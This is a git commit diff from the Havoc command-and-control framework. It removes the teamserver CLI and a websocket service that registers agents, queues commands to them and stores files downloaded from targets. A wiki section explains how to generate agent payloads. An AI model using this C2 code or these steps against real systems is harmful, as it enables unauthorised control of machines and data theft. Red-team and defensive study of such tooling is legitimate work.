major refactoring. bug fixes and changede the file structures for readablility etc.

This commit is contained in:
Cracked5pider
2022-12-20 23:38:51 +01:00
parent 0d174a4238
commit 74ac7847ed
733 changed files with 26828 additions and 1761 deletions
@@ -1,3 +0,0 @@
#include <Havoc/DBManager/DBManager.hpp>
using namespace HavocNamespace;
+10 -4
View File
@@ -1,13 +1,13 @@
<div align="center">
<img width="125px" src="Assets/Havoc.png" />
<img width="125px" src="assets/Havoc.png" />
<h1>Havoc</h1>
<br/>
<p><i>Havoc is a modern and malleable post-exploitation command and control framework, created by <a href="https://twitter.com/C5pider">@C5pider</a>.</i></p>
<br />
<img src="Assets/Screenshots/FullSessionGraph.jpeg" width="90%" /><br />
<img src="Assets/Screenshots/MultiUserAgentControl.png" width="90%" /><br />
<img src="assets/Screenshots/FullSessionGraph.jpeg" width="90%" /><br />
<img src="assets/Screenshots/MultiUserAgentControl.png" width="90%" /><br />
</div>
@@ -58,7 +58,7 @@ See the [Installation](https://github.com/HavocFramework/Havoc/wiki#installation
- Variety of built-in post-exploitation commands
<div align="center">
<img src="Assets/Screenshots/SessionConsoleHelp.png" width="90%" /><br />
<img src="assets/Screenshots/SessionConsoleHelp.png" width="90%" /><br />
</div>
#### Extensibility
@@ -78,3 +78,9 @@ You can join the official [Havoc Discord](https://discord.gg/z3PF3NRDE5) to chat
### Contributing
To contribute to the Havoc Framework, please review the guidelines in [Contributing.md](https://github.com/HavocFramework/Havoc/blob/main/CONTRIBUTING.MD) and then open a pull-request!
### Note
Please do not open any issues regarding detection.
The Havoc Framework hasn't been developed to be evasive. Rather it has been designed to be as malleable & modular as possible. Giving the operator the capability to add custom features or modules that evades their targets detection system.
-48
View File
@@ -1,48 +0,0 @@
package cmd
import (
"fmt"
"os"
"Havoc/pkg/colors"
"Havoc/pkg/teamserver"
"github.com/spf13/cobra"
)
var (
TeamserverCli = &cobra.Command{
Use: "teamserver",
Short: "Havoc Teamserver",
SilenceUsage: true,
RunE: teamserverFunc,
}
flags teamserver.TeamserverFlags
)
func init() {
TeamserverCli.CompletionOptions.DisableDefaultCmd = true
TeamserverCli.AddCommand(ServerCli)
}
func teamserverFunc(cmd *cobra.Command, args []string) error {
startMenu()
if len(os.Args) <= 2 {
err := cmd.Help()
if err != nil {
return err
}
os.Exit(0)
}
return nil
}
func startMenu() {
fmt.Println(colors.Red(" _______ _______ _______ \n │\\ /│( ___ )│\\ /│( ___ )( ____ \\\n │ ) ( ││ ( ) ││ ) ( ││ ( ) ││ ( \\/\n │ (___) ││ (___) ││ │ │ ││ │ │ ││ │ \n │ ___ ││ ___ │( ( ) )│ │ │ ││ │ \n │ ( ) ││ ( ) │ \\ \\_/ / │ │ │ ││ │ \n │ ) ( ││ ) ( │ \\ / │ (___) ││ (____/\\\n │/ \\││/ \\│ \\_/ (_______)(_______/"))
fmt.Println()
fmt.Println(" ", colors.Red("pwn"), "and", colors.Blue("elevate"), "until it's done")
fmt.Println()
}
-97
View File
@@ -1,97 +0,0 @@
package cmd
import (
"Havoc/pkg/colors"
"Havoc/pkg/events"
"fmt"
"os"
"time"
"Havoc/pkg/logger"
"Havoc/pkg/logr"
"Havoc/pkg/teamserver"
"github.com/spf13/cobra"
)
var (
ServerCli = &cobra.Command{
Use: "server",
Short: "server command",
SilenceUsage: true,
RunE: serverFunc,
}
)
func init() {
ServerCli.Flags().SortFlags = false
ServerCli.Flags().StringVarP(&flags.Server.Profile, "profile", "", "", "set havoc teamserver profile")
ServerCli.Flags().BoolVarP(&flags.Server.Debug, "debug", "", false, "enable debug mode")
ServerCli.Flags().BoolVarP(&flags.Server.DebugDev, "debug-dev", "", false, "enable debug mode for developers (compiles the agent with the debug mode/macro enabled)")
ServerCli.Flags().BoolVarP(&flags.Server.Default, "default", "d", false, "uses default profile (overwrites --profile)")
ServerCli.Flags().BoolVarP(&flags.Server.Verbose, "verbose", "v", false, "verbose messages")
}
func serverFunc(cmd *cobra.Command, args []string) error {
var (
DirPath, _ = os.Getwd()
ServerTimer = time.Now()
LogrPath = "data/loot/" + ServerTimer.Format("02.01.2006_15:04:05")
Server *teamserver.Teamserver
)
if len(os.Args) <= 2 {
err := cmd.Help()
if err != nil {
return err
}
os.Exit(0)
}
Server = teamserver.NewTeamserver()
Server.SetServerFlags(flags)
logr.LogrInstance = logr.NewLogr(DirPath, LogrPath)
logr.LogrInstance.LogrSendText = func(text string) {
var pk = events.Teamserver.Logger(text)
Server.EventAppend(pk)
Server.EventBroadcast("", pk)
}
logr.LogrInstance.ServerStdOutInit()
startMenu()
if flags.Server.Debug {
logger.SetDebug(true)
logger.Debug("Debug mode enabled")
}
logger.ShowTime(flags.Server.Verbose)
logger.Info(fmt.Sprintf("Havoc Framework [Version: %v] [CodeName: %v]", VersionNumber, VersionName))
if flags.Server.Default {
Server.SetProfile(DirPath + "/data/havoc.yaotl")
} else if flags.Server.Profile != "" {
Server.SetProfile(flags.Server.Profile)
} else {
logger.Error("No profile specified. Specify a profile with --profile or choose the standard profile with --default")
os.Exit(1)
}
if !Server.FindSystemPackages() {
logger.Error("Please install needed packages. Refer to the Wiki for more help.")
os.Exit(1)
}
logger.Info("Time: " + colors.Yellow(ServerTimer.Format("02/01/2006 15:04:05")))
logger.Info("Teamserver logs saved under: " + colors.Blue(LogrPath))
Server.Start()
return nil
}
-6
View File
@@ -1,6 +0,0 @@
package cmd
var (
VersionNumber = "0.4.1"
VersionName = "The Fool"
)
-12
View File
@@ -1,12 +0,0 @@
package main
import "Havoc/cmd"
import "Havoc/pkg/logger"
func main() {
err := cmd.TeamserverCli.Execute()
if err != nil {
logger.Error("Failed to execute teamserver client")
return
}
}
-17
View File
@@ -1,17 +0,0 @@
GOCMD = go
GOBUILD = GO111MODULE="on" $(GOCMD) build -ldflags="-s -w -X cmd.VersionCommit=$(git rev-parse HEAD)" -o ./teamserver main.go
ifndef VERBOSE
.SILENT:
endif
all:
$(GOBUILD)
clean:
rm -rf ./bin
rm -rf ./data/loot
rm -rf ./data/x86_64-w64-mingw32-cross
rm -rf ./data/havoc.db
rm -rf .idea
rm -rf ./teamserver
-23
View File
@@ -1,23 +0,0 @@
package colors
import "github.com/fatih/color"
var (
Blue = color.New(color.FgBlue).SprintFunc()
Red = color.New(color.FgRed).SprintFunc()
Green = color.New(color.FgGreen).SprintFunc()
Yellow = color.New(color.FgYellow).SprintFunc()
White = color.New(color.FgWhite).SprintFunc()
BoldBlue = color.New(color.FgBlue, color.Bold).SprintFunc()
BoldRed = color.New(color.FgRed, color.Bold).SprintFunc()
BoldGreen = color.New(color.FgGreen, color.Bold).SprintFunc()
BoldYellow = color.New(color.FgYellow, color.Bold).SprintFunc()
BoldWhite = color.New(color.FgWhite, color.Bold).SprintFunc()
RedUnderline = color.New(color.FgRed).Add(color.Underline).SprintFunc()
BlueUnderline = color.New(color.FgBlue).Add(color.Underline).SprintFunc()
GreenUnderline = color.New(color.FgGreen).Add(color.Underline).SprintFunc()
YellowUnderline = color.New(color.FgYellow).Add(color.Underline).SprintFunc()
WhiteUnderline = color.New(color.FgWhite).Add(color.Underline).SprintFunc()
)
-149
View File
@@ -1,149 +0,0 @@
package events
import (
"encoding/base64"
"encoding/json"
"fmt"
"strconv"
"time"
"Havoc/pkg/agent"
"Havoc/pkg/handlers"
"Havoc/pkg/logr"
"Havoc/pkg/packager"
"github.com/fatih/structs"
)
/* TODO: rename everything here from 'Demon' to 'Agent' */
var Demons demons
func (demons) NewDemon(DemonAgent *agent.Agent) packager.Package {
var (
Package packager.Package
TempParent *agent.Agent
TempMagic string
)
Package.Head.Event = packager.Type.Session.Type
Package.Head.Time = time.Now().Format("02/01/2006 15:04:05")
Package.Body.SubEvent = packager.Type.Session.NewSession
Package.Body.Info = make(map[string]interface{})
TempParent = DemonAgent.Pivots.Parent
DemonAgent.Pivots.Parent = nil
var InfoMap = structs.Map(DemonAgent)
var SessionInfo = InfoMap["Info"].(map[string]interface{})
switch DemonAgent.Info.Listener.(type) {
case *handlers.HTTP:
SessionInfo["Listener"] = DemonAgent.Info.Listener.(*handlers.HTTP).Config.Name
break
case *handlers.SMB:
SessionInfo["Listener"] = DemonAgent.Info.Listener.(*handlers.SMB).Config.Name
break
case *handlers.External:
SessionInfo["Listener"] = DemonAgent.Info.Listener.(*handlers.External).Config.Name
break
}
if InfoMap["Active"].(bool) {
InfoMap["Active"] = "true"
} else {
InfoMap["Active"] = "false"
}
delete(InfoMap, "Connection")
delete(InfoMap, "SessionDir")
delete(InfoMap, "Info")
delete(InfoMap, "JobQueue")
delete(InfoMap, "Parent")
TempMagic = fmt.Sprintf("%x", DemonAgent.Info.MagicValue)
if TempParent != nil {
InfoMap["PivotParent"] = TempParent.NameID
}
for k, v := range SessionInfo {
switch v.(type) {
case string:
InfoMap[k] = v
case bool:
if v.(bool) {
InfoMap[k] = "true"
} else {
InfoMap[k] = "false"
}
case int:
InfoMap[k] = strconv.Itoa(v.(int))
case nil:
InfoMap[k] = "null"
}
}
InfoMap["MagicValue"] = TempMagic
Package.Body.Info = InfoMap
DemonAgent.Pivots.Parent = TempParent
return Package
}
func (demons) DemonOutput(DemonID string, CommandID int, Output string) packager.Package {
var Package packager.Package
var LogrOut map[string]string
err := json.Unmarshal([]byte(Output), &LogrOut)
if err == nil && CommandID != agent.COMMAND_NOJOB {
logr.LogrInstance.DemonAddOutput(DemonID, LogrOut, time.Now().UTC().Format("02/01/2006 15:04:05"))
}
Package.Head.Event = packager.Type.Session.Type
Package.Head.Time = time.Now().Format("02/01/2006 15:04:05")
Package.Body.SubEvent = packager.Type.Session.Output
Package.Body.Info = make(map[string]interface{})
Package.Body.Info["DemonID"] = DemonID
Package.Body.Info["CommandID"] = strconv.Itoa(CommandID)
Package.Body.Info["Output"] = base64.StdEncoding.EncodeToString([]byte(Output))
return Package
}
func (demons) CallBack(DemonID string, callback string) packager.Package {
var Package packager.Package
Package.Head.Event = packager.Type.Session.Type
Package.Head.Time = time.Now().Format("02/01/2006 15:04:05")
Package.Body.SubEvent = packager.Type.Session.Output
Package.Body.Info = make(map[string]interface{})
Package.Body.Info["DemonID"] = DemonID
Package.Body.Info["CommandID"] = "10"
Package.Body.Info["Output"] = callback
return Package
}
func (demons) MarkAs(AgentID, Mark string) packager.Package {
var Package packager.Package
Package.Head.Event = packager.Type.Session.Type
Package.Head.Time = time.Now().Format("02/01/2006 15:04:05")
Package.Body.SubEvent = packager.Type.Session.MarkAsDead
Package.Body.Info = make(map[string]interface{})
Package.Body.Info["AgentID"] = AgentID
Package.Body.Info["Marked"] = Mark
return Package
}
-109
View File
@@ -1,109 +0,0 @@
package events
import (
"encoding/json"
"net"
"time"
"Havoc/pkg/packager"
"Havoc/pkg/profile"
)
type (
chatLog int
listeners int
demons int
gate int
service int
teamserver int
)
type EventInterface interface {
EventAppend(pk packager.Package) []packager.Package
EventBroadcast(FromUser string, pk packager.Package)
SendEvent(id string, pk packager.Package) error
}
func Authenticated(authed bool) packager.Package {
var Package packager.Package
Package.Head.Event = packager.Type.InitConnection.Type
Package.Head.Time = time.Now().Format("02/01/2006 15:04:05")
Package.Body.Info = make(map[string]interface{})
if authed {
Package.Body.SubEvent = packager.Type.InitConnection.Success
Package.Body.Info["Message"] = "Successful Authenticated"
} else {
Package.Body.SubEvent = packager.Type.InitConnection.Error
Package.Body.Info["Message"] = "Wrong Password"
}
return Package
}
func UserAlreadyExits() packager.Package {
var Package packager.Package
Package.Head.Event = packager.Type.InitConnection.Type
Package.Head.Time = time.Now().Format("02/01/2006 15:04:05")
Package.Body.Info = make(map[string]interface{})
Package.Body.SubEvent = packager.Type.InitConnection.Error
Package.Body.Info["Message"] = "User already exits"
return Package
}
func UserDoNotExists() packager.Package {
var Package packager.Package
Package.Head.Event = packager.Type.InitConnection.Type
Package.Head.Time = time.Now().Format("02/01/2006 15:04:05")
Package.Body.Info = make(map[string]interface{})
Package.Body.SubEvent = packager.Type.InitConnection.Error
Package.Body.Info["Message"] = "User doesn't exits"
return Package
}
func SendProfile(profile *profile.Profile) packager.Package {
var (
Package packager.Package
JsonBytes []byte
Addresses string
)
Package.Head.Event = packager.Type.InitConnection.Type
Package.Head.Time = time.Now().Format("02/01/2006 15:04:05")
Package.Body.SubEvent = packager.Type.InitConnection.Profile
Package.Body.Info = make(map[string]interface{})
JsonBytes, err := json.Marshal(*profile.Config.Demon)
if err != nil {
return packager.Package{}
}
Package.Body.Info["Demon"] = string(JsonBytes)
addrs, err := net.InterfaceAddrs()
if err != nil {
return packager.Package{}
}
for _, address := range addrs {
if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To4() != nil {
if len(Addresses) == 0 {
Addresses = ipnet.IP.String()
} else {
Addresses += ", " + ipnet.IP.String()
}
}
}
}
Package.Body.Info["TeamserverIPs"] = Addresses
return Package
}
-23
View File
@@ -1,23 +0,0 @@
package events
import (
"time"
"Havoc/pkg/packager"
)
var Service service
func (service) AgentRegister(AgentData string) packager.Package {
var Package packager.Package
Package.Head.Event = packager.Type.Service.Type
Package.Head.Time = time.Now().Format("02/01/2006 15:04:05")
Package.Body.SubEvent = packager.Type.InitConnection.Success
Package.Body.Info = map[string]interface{}{
"Agent": AgentData,
}
return Package
}
-465
View File
@@ -1,465 +0,0 @@
package service
import (
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"strconv"
"strings"
"time"
"Havoc/pkg/agent"
"Havoc/pkg/common"
"Havoc/pkg/events"
"Havoc/pkg/logger"
"Havoc/pkg/logr"
"github.com/gin-gonic/gin"
"github.com/gorilla/websocket"
"golang.org/x/crypto/sha3"
)
/*
Service API Module
Interact with external services (Custom Agents, ExternalC2s etc.)
*/
func NewService(engine *gin.Engine) *Service {
var service = new(Service)
service.engine = engine
return service
}
func (s *Service) Start() {
s.engine.GET("/"+s.Config.Endpoint, func(context *gin.Context) {
upgrade := websocket.Upgrader{}
WebSocket, err := upgrade.Upgrade(context.Writer, context.Request, nil)
if err != nil {
logger.Error("Failed upgrading request")
return
}
go s.handleConnection(WebSocket)
})
}
func (s *Service) handleConnection(socket *websocket.Conn) {
var client = new(ClientService)
client.Conn = socket
if !s.authenticate(client) {
logger.Error("Failed to authenticate service client")
err := client.Conn.Close()
if err != nil {
logger.Error("Failed to close websocket service client: " + err.Error())
return
}
return
}
s.clients = append(s.clients, client)
s.routine(client)
}
func (s *Service) authenticate(client *ClientService) bool {
var (
Authed = false
Hasher = sha3.New256()
UserPass string
ServicePass string
AuthRequest struct {
Head struct {
Type string `json:"Type"`
} `json:"Head"`
Body struct {
Pass string `json:"Password"`
} `json:"Body"`
}
AuthResponse = map[string]map[string]interface{}{
"Head": {
"Type": HeadRegister,
},
"Body": {
"Success": false,
},
}
Response []byte
)
err := client.Conn.ReadJSON(&AuthRequest)
if err != nil {
logger.Error("Failed to read JSON message from websocket service client: " + err.Error())
return false
}
if AuthRequest.Head.Type == HeadRegister {
Hasher.Write([]byte(AuthRequest.Body.Pass))
UserPass = hex.EncodeToString(Hasher.Sum(nil))
Hasher.Reset()
Hasher.Write([]byte(s.Config.Password))
ServicePass = hex.EncodeToString(Hasher.Sum(nil))
Hasher.Reset()
if UserPass == ServicePass {
logger.Debug("Service client authenticated")
Authed = true
}
AuthResponse["Body"]["Success"] = Authed
Response, err = json.Marshal(AuthResponse)
if err != nil {
logger.Error("Failed marshaling response: " + err.Error())
}
client.Mutex.Lock()
err := client.Conn.WriteMessage(websocket.TextMessage, Response)
client.Mutex.Unlock()
if err != nil {
logger.Error("Failed to write message: " + err.Error())
return false
}
return Authed
}
return Authed
}
// the main service routine
func (s *Service) routine(client *ClientService) {
for {
var (
_, data, err = client.Conn.ReadMessage()
response = make(map[string]map[string]any)
)
if err != nil {
logger.Error("Failed to read JSON message from websocket service client: " + err.Error())
return
}
logger.Debug("data:" + string(data))
err = json.Unmarshal(data, &response)
if err != nil {
logger.Error("Failed to unmarshal websocket response: " + err.Error())
return
}
s.dispatch(response, client)
}
}
func (s *Service) dispatch(response map[string]map[string]any, client *ClientService) {
logger.Debug("Dispatch response:", response)
switch response["Head"]["Type"] {
case HeadRegisterAgent:
data, err := json.Marshal(response["Body"]["Agent"])
if err != nil {
logger.Error("Failed to marshal object to json: " + err.Error())
return
}
var a = NewAgentService(data, client)
if a == nil {
logger.Error("Failed to make a new service agent.")
return
}
a.service = s
s.Agents = append(s.Agents, a)
pk := events.Service.AgentRegister(string(data))
s.Events.EventAppend(pk)
s.Events.EventBroadcast("", pk)
logger.Debug(a.Json())
case HeadAgent:
// TODO: find agent and send response to it
switch response["Body"]["Type"] {
case BodyAgentTask:
var (
Agent map[string]any
Task string
)
if val, ok := response["Body"]["Agent"]; ok && val != nil {
Agent = val.(map[string]any)
}
if val, ok := response["Body"]["Task"]; ok {
Task = val.(string)
} else {
logger.Debug("response BodyAgentTask doesn't contain Task")
return
}
if Task == "Add" {
logger.Debug("Adding task to TasksQueue")
logger.Debug(Agent)
for index := range s.Data.ServerAgents.Agents {
logger.Debug(fmt.Sprintf("AgentID:[%v] NameID:[%v]", Agent["NameID"], s.Data.ServerAgents.Agents[index].NameID))
if Agent["NameID"] == s.Data.ServerAgents.Agents[index].NameID {
logger.Debug("Command =>", response["Body"]["Command"])
var Command, err = base64.StdEncoding.DecodeString(response["Body"]["Command"].(string))
if err != nil {
logger.Error("Failed to decode command response: " + err.Error())
}
var TaskJob = agent.Job{
Payload: Command,
}
s.Data.ServerAgents.Agents[index].AddJobToQueue(TaskJob)
}
}
} else if Task == "Get" {
logger.Debug("Get tasks queue")
if _, ok := response["Body"]["TasksQueue"]; !ok {
for index := range s.Data.ServerAgents.Agents {
logger.Debug(fmt.Sprintf("AgentID:[%v] NameID:[%v]", Agent["NameID"], s.Data.ServerAgents.Agents[index].NameID))
if Agent["NameID"] == s.Data.ServerAgents.Agents[index].NameID {
logger.Debug("Found agent")
var (
TasksQueue = s.Data.ServerAgents.Agents[index].GetQueuedJobs()
PayloadBuffer []byte
)
for _, task := range TasksQueue {
PayloadBuffer = append(PayloadBuffer, task.Payload...)
}
response["Body"]["TasksQueue"] = base64.StdEncoding.EncodeToString(PayloadBuffer)
client.Mutex.Lock()
logger.Debug("Write to websocket")
err := client.Conn.WriteJSON(response)
client.Mutex.Unlock()
if err != nil {
logger.Debug("Failed to write json to service client: " + err.Error())
return
}
s.Data.ServerAgents.Agents[index].Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05")
logger.Debug("Wrote to the client")
break
}
}
}
return
}
case BodyAgentRegister:
logger.Debug("BodyAgentRegister")
var (
Size int
MagicValue string
AgentID string
Header = agent.Header{}
RegisterInfo = response["Body"]["RegisterInfo"].(map[string]any)
AgentInstance *agent.Agent
err error
)
logger.Debug(RegisterInfo)
if val, ok := response["Body"]["AgentHeader"].(map[string]any)["Size"]; ok {
if Size, err = strconv.Atoi(val.(string)); err != nil {
Size = 0
}
Header.Size = Size
}
if val, ok := response["Body"]["AgentHeader"].(map[string]any)["MagicValue"]; ok {
MagicValue = val.(string)
}
if val, ok := response["Body"]["AgentHeader"].(map[string]any)["AgentID"]; ok {
AgentID = val.(string)
}
MagicValue64, err := strconv.ParseInt(MagicValue, 16, 32)
if err != nil {
logger.Error("MagicValue64: " + err.Error())
}
AgentID64, err := strconv.ParseInt(AgentID, 16, 32)
if err != nil {
logger.Error("MagicValue64: " + err.Error())
}
Header.AgentID = int(AgentID64)
Header.MagicValue = int(MagicValue64)
logger.Debug(Header)
AgentInstance = agent.AgentRegisterInfoToInstance(Header, RegisterInfo)
AgentInstance.Info.MagicValue = Header.MagicValue
// AgentInstance.Info.Listener = h
s.TeamAgents.AppendAgent(AgentInstance)
pk := events.Demons.NewDemon(AgentInstance)
s.Events.EventAppend(pk)
s.Events.EventBroadcast("", pk)
break
case BodyAgentResponse:
logger.Debug("BodyAgentResponse")
logger.Debug(response)
var RandID string
if val, ok := response["Body"]["RandID"]; ok {
logger.Debug("Found RandID")
RandID = val.(string)
} else {
logger.Debug("RandID not found")
return
}
logger.Debug(s.clients)
for _, c := range s.clients {
logger.Debug("c.Responses:", c.Responses)
if channel, ok := c.Responses[RandID]; ok {
logger.Debug("Found channel: " + RandID)
if val, ok := response["Body"]["Response"]; ok {
var (
resp []byte
err error
)
if resp, err = base64.StdEncoding.DecodeString(val.(string)); err != nil {
logger.Debug("Failed to decode base64: " + err.Error())
}
channel <- resp
}
break
}
}
break
case BodyAgentOutput:
var (
AgentID = response["Body"]["AgentID"].(string)
Callback = response["Body"]["Callback"].(map[string]any)
)
if Callback["MiscType"] == "download" {
var (
FileName = Callback["FileName"].(string)
ContentB64 = Callback["Content"].(string)
)
if FileContent, err := base64.StdEncoding.DecodeString(ContentB64); err == nil {
FileName = strings.Replace(FileName, "\x00", "", -1)
logger.Debug(fmt.Sprintf("Added downloaded file %v to agent directory: %v", FileName, AgentID))
logr.LogrInstance.DemonAddDownloadedFile(AgentID, FileName, FileContent)
Callback = make(map[string]any)
Callback["MiscType"] = "download"
Callback["MiscData"] = ContentB64
Callback["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + ";" + common.ByteCountSI(int64(len(FileContent)))
} else {
logger.Debug("Failed to decode FileContent base64: " + err.Error())
Callback = make(map[string]any)
Callback["Type"] = "Error"
Callback["Message"] = "Failed to decode FileContent base64: " + err.Error()
}
}
var (
out, _ = json.Marshal(Callback)
pk = events.Demons.DemonOutput(AgentID, agent.HAVOC_CONSOLE_MESSAGE, string(out))
)
s.Events.EventAppend(pk)
s.Events.EventBroadcast("", pk)
break
case BodyAgentBuild:
var (
ClientID = response["Body"]["ClientID"].(string)
Message = response["Body"]["Message"].(map[string]any)
)
if len(ClientID) > 0 {
if _, ok := Message["FileName"]; ok {
var (
FileName = Message["FileName"].(string)
PayloadMsg = Message["Payload"].(string)
Payload []byte
err error
)
Payload, err = base64.StdEncoding.DecodeString(PayloadMsg)
if err != nil {
err = s.Events.SendEvent(ClientID, events.Gate.SendConsoleMessage("Error", "Failed to decode base64 payload: "+err.Error()))
if err != nil {
logger.Error("Couldn't send Event: " + err.Error())
return
}
}
err = s.Events.SendEvent(ClientID, events.Gate.SendStageless(FileName, Payload))
if err != nil {
logger.Error("Error while sending event: " + err.Error())
return
}
} else {
var (
MessageType = Message["Type"].(string)
MessageText = Message["Message"].(string)
)
err := s.Events.SendEvent(ClientID, events.Gate.SendConsoleMessage(MessageType, MessageText))
if err != nil {
logger.Error("Couldn't send Event: " + err.Error())
return
}
}
} else {
logger.Error("ClientID not specified")
}
}
}
}
-53
View File
@@ -1,53 +0,0 @@
package service
import (
"Havoc/pkg/agent"
"Havoc/pkg/events"
"Havoc/pkg/profile"
"sync"
"github.com/gin-gonic/gin"
"github.com/gorilla/websocket"
)
type ClientService struct {
Conn *websocket.Conn
Responses map[string]chan []byte
Mutex sync.Mutex
}
type TeamAgentsInterface interface {
AppendAgent(agent *agent.Agent) []*agent.Agent
}
type ConfigService struct {
Endpoint string
Name string
Password string
}
type Service struct {
engine *gin.Engine
clients []*ClientService
Config profile.ServiceConfig
Events events.EventInterface
TeamAgents TeamAgentsInterface
Agents []*AgentService
Data struct {
ServerAgents *agent.Agents
}
}
const (
HeadRegister = "Register"
HeadRegisterAgent = "RegisterAgent"
HeadAgent = "Agent"
BodyAgentRegister = "AgentRegister"
BodyAgentTask = "AgentTask"
BodyAgentResponse = "AgentResponse"
BodyAgentOutput = "AgentOutput"
BodyAgentBuild = "AgentBuild"
)
+10 -12
View File
@@ -123,6 +123,7 @@ brew install --cask cmake
brew install python@3.10 qt@5 spdlog golang
brew link --overwrite qt@5
```
### <a name="bclient"></a>Building the Client
> If you are using a debian-based distro, you can use the bundled installation script at `/Havoc/Client/Install.sh`.
@@ -142,9 +143,6 @@ make
> On macOS, run `brew unlink qt && brew link qt` after cmake build is done.
### <a name="bteam"></a>Building the Teamserver
Install additional Go dependencies:
@@ -196,7 +194,7 @@ Run the container:
`sudo docker run -p8080:8080 -it -d -v havoc-c2-data:/data havoc-client`
Visit Jenkins at `localhost:8080` and create a pipeline to build the Havoc Teamserver.
- See `Havoc-Teamserver.groovy` in the `Assets` folder.
- See `Havoc-Teamserver.groovy` in the `assets` folder.
### <a name="aquick"></a> Creating a Listener, and Spawning an Agent
@@ -204,25 +202,25 @@ This part assumes you have a Teamserver running, with a Teamserver-client connec
- Creating a Listener:
1. To create a new listener, we must first open the `Listeners` subwindow.
* To do this, in the upper left hand corner, click on the `View` button, and then on the `Listeners` button in the drop down menu.
* ![Listeners-select](./Assets/Screenshots/Listeners-select.png)
* ![Listeners-select](./assets/Screenshots/Listeners-select.png)
2. You should see a new sub window in the bottom of the server window, with the title of `Listeners` on the header tab.
3. You should also now see three(3) buttons on the bottom of the server window, `Add`, `Remove` and `Edit`.
* ![Listeners-Add-select](./Assets/Screenshots/Listeners-Add-select.png)
* ![Listeners-Add-select](./assets/Screenshots/Listeners-Add-select.png)
4. We want to click the `Add` button.
5. Once we click the `Add` button, you should see a new window come up, with the title of `Create Listener`.
* ![Listeners-New](./Assets/Screenshots/Listeners-new.png)
* ![Listeners-New](./assets/Screenshots/Listeners-new.png)
6. We will want to fill out the appropriate information for each field in the `Create Listener` window.
7. After entering the appropriate information into each field, then click the `Save` button.
8. The window will close, and you will now see a new line in the `Listeners` sub-window.
* ![Listener-created](./Assets/Screenshots/Listener-created)
* ![Listener-created](./assets/Screenshots/Listener-created)
9. We now have an active Listener, and are ready to receive an incoming agent's communications!
- Spawning an Agent:
1. To create an Agent Payload, we must first open the `Payload` window.
* We can do so by going up to the upper left hand corner, and clicking on the `Attack` button.
2. Doing so, we see the `Payload` button appear in the drop down menu. We want to then click on it.
* ![Agent-select](./Assets/Screenshots/Agent-select.png)
* ![Agent-select](./assets/Screenshots/Agent-select.png)
3. This will open the `Payload` window, where we may then configure the various options for generating our payload.
* ![Agent-creation](./Assets/Screenshots/Agent-create.png)
* ![Agent-creation](./assets/Screenshots/Agent-create.png)
4. Once we have selected the appropriate options, we then click on the `Generate` button.
5. It might take a little bit for the compilation to take place. Once it has completed, it will prompt you as to where to save the resulting file output.
6. After selecting where to save the file, you will now have a generated agent ready for execution or injection!
@@ -387,12 +385,12 @@ Running `./Havoc` will start the Client.
When the client opens, you will be presented with a profile window similar to that in other C2 frameworks like Cobalt Strike.
![teamserver-client](./Assets/Screenshots/Teamserver-Client-Fresh.png)
![teamserver-client](./assets/Screenshots/Teamserver-Client-Fresh.png)
Enter the profile name, teamserver bind address (`Host`) and `Port`, along with your defined username/password in the teamserver profile.
Then hit 'Connect' to connect your configured teamserver.
![teamserver-and-client](./Assets/Screenshots/Teamserver-LoggedIn.png)
![teamserver-and-client](./assets/Screenshots/Teamserver-LoggedIn.png)

Before

Width:  |  Height:  |  Size: 8.7 KiB

After

Width:  |  Height:  |  Size: 8.7 KiB

Before

Width:  |  Height:  |  Size: 50 KiB

After

Width:  |  Height:  |  Size: 50 KiB

Before

Width:  |  Height:  |  Size: 66 KiB

After

Width:  |  Height:  |  Size: 66 KiB

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Before

Width:  |  Height:  |  Size: 310 KiB

After

Width:  |  Height:  |  Size: 310 KiB

Before

Width:  |  Height:  |  Size: 46 KiB

After

Width:  |  Height:  |  Size: 46 KiB

Before

Width:  |  Height:  |  Size: 217 KiB

After

Width:  |  Height:  |  Size: 217 KiB

Before

Width:  |  Height:  |  Size: 24 KiB

After

Width:  |  Height:  |  Size: 24 KiB

Before

Width:  |  Height:  |  Size: 59 KiB

After

Width:  |  Height:  |  Size: 59 KiB

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 14 KiB

Before

Width:  |  Height:  |  Size: 54 KiB

After

Width:  |  Height:  |  Size: 54 KiB

Before

Width:  |  Height:  |  Size: 673 KiB

After

Width:  |  Height:  |  Size: 673 KiB

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 53 KiB

Before

Width:  |  Height:  |  Size: 218 KiB

After

Width:  |  Height:  |  Size: 218 KiB

Before

Width:  |  Height:  |  Size: 44 KiB

After

Width:  |  Height:  |  Size: 44 KiB

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Before

Width:  |  Height:  |  Size: 184 KiB

After

Width:  |  Height:  |  Size: 184 KiB

Before

Width:  |  Height:  |  Size: 233 KiB

After

Width:  |  Height:  |  Size: 233 KiB

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Before

Width:  |  Height:  |  Size: 44 KiB

After

Width:  |  Height:  |  Size: 44 KiB

@@ -131,7 +131,6 @@ set(
Source/Havoc/Service.cpp
Source/Havoc/DBManger/DBManager.cpp
Source/Havoc/DBManger/Listener.cpp
Source/Havoc/DBManger/Credentials.cpp
Source/Havoc/DBManger/Sessions.cpp
Source/Havoc/DBManger/Teamserver.cpp
@@ -151,7 +150,7 @@ set(
Source/Havoc/Havoc.cpp
${HAVOC_UI}
Include/Havoc/PythonApi/PyAgentClass.hpp Source/Havoc/PythonApi/PyAgentClass.cpp)
Include/Havoc/PythonApi/PyAgentClass.hpp Source/Havoc/PythonApi/PyAgentClass.cpp Include/json.hpp)
